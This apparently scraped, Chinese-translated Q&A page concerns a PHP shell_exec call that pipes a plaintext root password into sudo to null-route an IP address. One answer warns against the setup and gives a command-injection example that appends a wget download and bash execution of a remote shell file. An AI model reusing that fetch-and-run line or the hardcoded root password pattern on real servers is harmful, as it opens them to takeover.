【问题标题】:Shell_exec() doesnt runShell_exec() 不运行
【发布时间】:2014-11-18 04:17:56
【问题描述】:

我正在尝试路由添加ip(即为空路由一个ip,意思是,阻止ip向我的服务器发送数据包。它需要连接到服务器,并运行命令),换句话说,禁止一个ip。

SSH 命令

route add 50.50.50.50 gw 127.0.0.1 lo

但我想在 php 中使用它,使用 shell_exec() 函数。没有运气就试过了。

PHP

shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo"); 

它没有给我错误,什么都没有。在 shell_exec() 中运行该命令的正确方法是什么?

【问题讨论】:

  • 检查服务器是否允许
  • shell_exec 只带一个参数;你的意思是使用exec
  • 是的,没错,奥斯汀。

标签: php shell


【解决方案1】:

尝试:

$output = shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo");
echo "<pre>$output</pre>";

【讨论】:

  • 我正在通过“netstat -nr”命令检查空路由ip,并看不到包含的ip已被禁止。意味着它不起作用:(我正试图用 shell_exec 禁止一个 ip。顺便说一句,它没有回应任何东西
【解决方案2】:

因此,根据您使用的 HTTP 服务器(nginx、apache 等),如果配置正确,这些服务帐户应该无法执行该命令,因为它们没有根级别的权限来执行您想要的更改即使启用了 shell_exec 也要做。

您可以通过以 root 身份登录来测试这一点,如果运行 apache,请运行以下命令:

su - apache (or whatever user apache is running as)

这应该返回。

This account is currently not available.

由于 apache 用户应配置为 nologin,因此理论上不应该工作。但是,您可以通过“useradd”添加用户来测试此行为。

话虽如此.. 在我的虚拟机上,我为上下文重新创建了这个。我创建了一个测试用户并尝试运行您列出的命令。这是输出(这也是 apache 用户应该得到的)

[timgalyean@test ~]$ route add 50.50.50.50 gw 127.0.0.1 lo
SIOCADDRT: Operation not permitted
[timgalyean@test ~]$

如您所见,用户无权执行此操作。与手头的任务相反,这是一件好事。

另外,我个人建议不要走这条路,因为 shell_exec 可能会导致其他安全问题。特别是如果您授予用户执行此操作的权限。

我注意到的另一件事是您的命令中有 sudo。服务用户也不应该有 sudo 访问权限。如果我能够弄清楚你的 php 脚本在做什么,我可以制作一些漂亮的东西,比如......

 shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo ; wget url/myfile.txt; bash -c 'myfile.txt'"); 

假设 myfile.txt 是一个 shell,然后我可以通过您的服务用户破坏您的服务器,为了使其正常工作需要 sudo 访问权限。

【讨论】:

    猜你喜欢
    • 2012-05-15
    • 2015-05-26
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2012-05-26
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多